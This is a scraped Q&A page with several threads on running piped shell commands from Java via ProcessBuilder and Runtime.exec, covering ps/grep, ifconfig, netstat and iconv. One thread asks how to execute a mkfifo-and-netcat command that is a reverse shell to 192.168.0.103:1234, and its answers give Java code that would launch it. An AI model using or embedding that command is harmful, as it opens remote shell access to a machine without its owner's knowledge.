Java api Process execute machine command - java

use java api Process exceute machine command:
BufferedReader read = null;
Process process = null;
StringBuffer sb = new StringBuffer();
try {
process = new ProcessBuilder(new String[]{"/bin/bash", "-c", command}).start();
//stderr
printExecStdErr(command, process);
//stdout
read = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
int lineNumber = 1;
while ((line = read.readLine()) != null) {
if (lineNumber++ > 1) {
sb.append(System.lineSeparator());
}
sb.append(line);
}
String result=sb.toString();
logger.info("excute command:{} result:{}",command,result);
try {
boolean success = process.waitFor(3000, TimeUnit.MILLISECONDS);
if (!success){
logger.warn("execute command:{} waitFor 3 seconds,timeout!");
return "";
}
} catch (InterruptedException e) {
logger.error("execute command:{} interrupted exception!");
}
logger.info("excute command:{} success",command);
return result;
} catch (IOException e) {
logger.error("execute command:{} error:{}",command,e.getMessage(),e);
} finally {
if (null != read) {
try {
read.close();
} catch (IOException e) {
}
}
if (process != null){
process.destroy();
}
}
this is the log,execute command:bin/ps -ef | grep -w 6005 | grep
-v grep,but sometimes the result is empty
execute command:/bin/ps -ef | grep -w 6005 | grep -v grep
INFO printExecStdErr,command:/bin/ps -ef | grep -w 6005 | grep
-v grep
INFO excute command:/bin/ps -ef | grep -w 6005 | grep -v grep
result:
excute command:/bin/ps -ef | grep -w 6006 | grep -v grep success
the majority of the result is:
excute command:/bin/ps -ef | grep -w 26006 | grep -v grep
result:work 24643 1 0 17:39 ? 00:00:00 /opt/soft/redis28/bin/redis-server *:26006
so how this happens? I used process.waitFor(3000, TimeUnit.MILLISECONDS),but it's useless.

Related

how to execute command "ps -eaf | grep myprocess" in java

I googled and checked the SO if there is any code to find PID of any other process.
There is a solution to create a shell script with the command "ps -eaf | grep myprocess" in it and executing that script from java.
But I want to execute using java ProcessBuilder or Runtime methods. Below is the code that I have tried which is not giving me null as output.
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String command = "ps -ef | grep myProcess";
try {
// p = new ProcessBuilder(command).start();
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
The output for the command is :
java TestShellCommand
The input stream is null.
{sdc#ip-172-31-32-49}[26] echo $?
0
Please let me know if there is any error in my code as when I search manually from shell i do get the expected output as below:
ps -ef | grep myProcess
root 7433 1 0 10:33 ? 00:00:00 myProcess hello
sdc 19894 14130 0 11:24 pts/7 00:00:00 grep myProcess
[UPDATED CODE - Without the grep command]
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String [] command = {"ps", "-eaf"};
try {
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
// Then code to find by process name by using string methods ...
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
I have added the code that is working, when I am passing command as:
new String[]{"/bin/sh","-c", "ps -eaf | grep "+ "myProcess" +" | grep -v grep"} - Empty response.
new String[] {"ps", "-eaf", "grep -m 1 myProcess", "awk -F ' ' '{print $2}' "} - Empty response.
Thanks in advance for any leads.
As #Slimo answer indicates you must launch a shell to execute a shell command (the pipe), and read the error stream to determine what may have gone wrong.
Launching subprocess without using waitFor() or consuming stdout and stderr at SAME time can lead to issues, use file redirect or as in this example merge stderr -> stdout and read one stream only:
String procname = "myProcess";
String[] cmd = new String[]{"bash","-c", "ps -eaf | grep "+procname+" | grep -v grep"}
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
process.getInputStream().transferTo(System.out);
int rc = process.waitFor();
if (rc != 0)
throw new RuntimeException("Failed rc="+rc+" cmd="+Arrays.toString(cmd));
In later JDK you don't need ProcessBuilder, you may find all the process attributes in the data-structures returned by ProcessHandle:
ProcessHandle.allProcesses()
.filter(ph -> ph.info().command().isPresent() && ph.info().command().get().contains(procname))
.forEach(ph -> System.out.println("PID: "+ph.pid()+" command: "+ph.info().command()))
Your problem is that you are trying to use the pipe in your command, so you need a shell to execute it. You can use the following command:
p = new ProcessBuilder("/bin/sh", "-c", "ps -aux | grep myProcess").start();
You can read more here: Using Java ProcessBuilder to Execute a Piped Command
To test it, I started top in a shell and run the command with it as the grep pattern. Here is the output I got:
<edited> 139890 0.4 0.0 23640 4376 pts/0 S+ 16:05 0:00 top
<edited> 139945 0.0 0.0 20996 3448 ? S 16:06 0:00 /bin/bash -c ps -aux | grep top
<edited> 139947 0.0 0.0 20536 2776 ? S 16:06 0:00 grep top
Based on your comment, I suggest you first run the commands in a shell to see the output and check to see if it matches that from the Java program. I guess myProcess is only a placeholder for the actual process to check.
One thing which I noticed is that when running htop from a snap, and using the above code to grep after htop will return answers like in your comment, but grepping by top will include the actual process. I also checked with gedit and it looks like grep with gedit returns like in your case, but using only edit will return the actual process. Not sure what is the problem in this case.

How to use Process Builder in java to run Linux shell command?

I am trying to execute two linux commands using JAVA program:
ifconfig| grep -A 1 'eth0'|tail -1|cut -d ':' -f 2|cut -d ' ' -f 1
This command gives me and "IP address" and I have to read and use it in the second command
./executeTest.sh "IP address"
My function which I am using to run these commands is this:
public int exec(String[] command, Map<String, String> envt, StringBuilder stdout, StringBuilder stderr, int timeoutSeconds) throws TimeoutException, Exception{
int exitValue = -1;
final File stdoutFile = File.createTempFile("test_", "extproc.out");
final File stderrFile = File.createTempFile("test_", "extproc.err");
Process process = null;
try{
ProcessBuilder pb = new ProcessBuilder(command);
if(envt!=null){
for(Entry<String, String> entry : envt.entrySet()){
pb.environment().put(entry.getKey(), entry.getValue());
}
}
pb.redirectOutput(stdoutFile);
pb.redirectError(stderrFile);
process = pb.start();
boolean timedOut = false;
timedOut = !(process.waitFor(timeoutSeconds, TimeUnit.SECONDS));
if(timedOut){
System.out.println("Timed out waiting for process to complete.");
try{
process.destroyForcibly();
}catch(Exception killEx){
System.out.println("Error while terminating runaway process"+ killEx);
}
}else{
exitValue = process.exitValue();
}
stdout.append(FileUtils.readFileToString(stdoutFile));
stderr.append(FileUtils.readFileToString(stderrFile));
if(timedOut){
throw new TimeoutException();
}
}finally{
if(stdoutFile.exists()){
//File.deleteDirectory(stdoutFile);
}
if(stderrFile.exists()){
//FileUtils.deleteDirectory(stdoutFile);
}
if(process != null){
process.destroy();
}
}
return exitValue;
}
However, I am getting the following error when I call this function for both the commands written above:
java.io.IOException: Cannot run program "ifconfig | grep -A 1 'eth0' | tail -1 |cut -d ':' -f 2 |cut -d ' ' -f 1": error=2, No such file or directory
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
at IOxUnifiedSanityTestSuite.starWebServer.exec(starWebServer.java:66)
at IOxUnifiedSanityTestSuite.starWebServer$2.handle(starWebServer.java:148)
at IOxUnifiedSanityTestSuite.starWebServer$2.handle(starWebServer.java:124)
at io.vertx.ext.web.impl.RouteImpl.handleContext(RouteImpl.java:217)
at io.vertx.ext.web.impl.RoutingContextImplBase.iterateNext(RoutingContextImplBase.java:78)
at io.vertx.ext.web.impl.RoutingContextImpl.next(RoutingContextImpl.java:133)
at io.vertx.ext.web.impl.RouterImpl.accept(RouterImpl.java:79)
at io.vertx.core.http.impl.ServerConnection.handleRequest(ServerConnection.java:288)
at io.vertx.core.http.impl.ServerConnection.processMessage(ServerConnection.java:421)
at io.vertx.core.http.impl.ServerConnection.handleMessage(ServerConnection.java:134)
at io.vertx.core.http.impl.HttpServerImpl$ServerHandler.doMessageReceived(HttpServerImpl.java:623)
at io.vertx.core.http.impl.HttpServerImpl$ServerHandler.doMessageReceived(HttpServerImpl.java:573)
at io.vertx.core.http.impl.VertxHttpHandler.lambda$channelRead$0(VertxHttpHandler.java:71)
at io.vertx.core.impl.ContextImpl.lambda$wrapTask$2(ContextImpl.java:322)
at io.vertx.core.impl.ContextImpl.executeFromIO(ContextImpl.java:190)
at io.vertx.core.http.impl.VertxHttpHandler.channelRead(VertxHttpHandler.java:71)
at io.vertx.core.net.impl.VertxHandler.channelRead(VertxHandler.java:122)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:349)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:341)
at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:293)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:267)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:349)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:341)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1334)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:349)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:926)
at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:129)
at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:642)
at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:565)
at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:479)
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:441)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)
at java.lang.Thread.run(Thread.java:745)
Caused by: java.io.IOException: error=2, No such file or directory
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:248)
at java.lang.ProcessImpl.start(ProcessImpl.java:134)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
... 36 more
The way I am calling exec function is this:
String command1[] = new String[]{"ifconfig | grep -A 1 \'eth0\' | tail -1 |cut -d \':\' -f 2 |cut -d \' \' -f 1"};
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
exec(command1, null, stdout, stderr, 30)
String command2[] = new String[]{"./executeTest.sh ipaddress"};
StringBuilder stdout1 = new StringBuilder();
StringBuilder stderr1 = new StringBuilder();
exec(command2, null, stdout1, stderr1, 30)
Can anyone help me in finding out what I am doing wrong here?
You probably feed your first command as a whole to ProcessBuilder's constructor:
"ifconfig| grep -A 1 'eth0'|tail -1|cut -d ':' -f 2|cut -d ' ' -f 1"
ProcessBuilder considers it to be a single program name, hence the error.
Try passing it the following:
new String{"/bin/bash", "-c", "ifconfig| grep -A 1 'eth0'|tail -1|cut -d ':' -f 2|cut -d ' ' -f 1"}
like
exec(new String{"/bin/bash", "-c", "ifconfig| grep -A 1 'eth0'|tail -1|cut -d ':' -f 2|cut -d ' ' -f 1"},
envt, stdout, stderr, timeoutSeconds);
ProcessBuilder will invoke bash, which in turn will invoke the complex command.

Check if a linux command outputs an empty string

I want to check if a port is being used or not. I've used the command: netstat -an | grep <port_no> | grep -i listen. When I compare its output by running, if(message_port_check.equals(null)), it always returns null. How do I know if the port is open or not ?
This is what I've tried,
String port_no = textField_3.getText().toString();
String[] command_port = {
"/bin/sh",
"-c",
"netstat -an | grep " + port_no + " | grep -i listen"
};
try {
ProcessBuilder builder = new ProcessBuilder(command_port);
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuffer buffer = new StringBuffer();
String line = "";
while (true)
{
buffer.append(line).append("\n");
line = r.readLine();
if (line == null) { break; }
}
message_port= buffer.toString();
p.waitFor();
r.close();
}
catch (IOException e1)
{
e1.printStackTrace();
}
catch (InterruptedException e1)
{
e1.printStackTrace();
}
if(message_port_check.equals(null))
rdbtn_port_free.setSelected(true);
else
rdbtn_port_notfree.setSelected(true);
I'd use -z test:
$ output=$(netstat -an | grep your_port | grep -i listen)
$ if [ -z "$output" ] ; then echo empty ; fi
empty
You could use nc instead as shown in this reply. Then you just need to check the return value.
Of course in Java, the solution in the platform-independent spirit would be to try to connect/bind to the port using the standard library instead of relying on external Linux binaries. Some variants are shown here.

java Runtime.getRuntime().exec() unable to run commands

I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().
Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};

pipe Unix commands together in Java

I have a requirement to run the below command from Java
echo <inputMessage> | iconv -f utf8 -t Cp930
When i use the below code to run the command i see only the echo part is executed but the piping is not happening
public static String callInconverter2(String input,String codePage) throws IOException {
try{
// String command = "echo asdasdasd | iconv -f UTF-8 -t Cp930";
Process p = Runtime.getRuntime().exec("echo "+input+"| iconv -f UTF-8 -t "+codePage);
String s = null;
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
StringBuilder sb = new StringBuilder();
// read the output from the command
System.out.println("Here is the standard output of the command:\n");
while ((s = stdInput.readLine()) != null) {
sb.append(s);
}
// read any errors from the attempted command
System.out.println("Here is the standard error of the command (if any):\n");
while ((s = stdError.readLine()) != null) {
sb.append(s);
}
return sb.toString();
}
catch (IOException e) {
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
return e.getMessage();
}
}}
I am new to Runtime. is there anything am missing.
Tried the method suggested by thomas
String command = "echo asdasdasd | iconv -f UTF-8 -t Cp930";
Process p = Runtime.getRuntime().exec("bash -c \""+command+"\"");
was getting an error asdasdasd: -c: line 0: unexpected EOF while looking for matching `"'asdasdasd: -c: line 1: syntax error: unexpected end of file
is there anything am missing out
Run a shell, with that command -- bash, tcsh, whichever one you normally use.
bash -c "echo | iconv -f utf8 -t Cp930" // or
bash -lc "echo | iconv -f utf8 -t Cp930"
Piping is a shell functionality.
Thus:
Runtime rt = Runtime.getRuntime();
String cmd = "echo | iconv -f utf8 -t Cp930";
rt.exec("bash -c \""+cmd+"\"");
See the bash manual for invocation options. http://www.gnu.org/software/bash/manual/html_node/Invoking-Bash.html#Invoking-Bash

Categories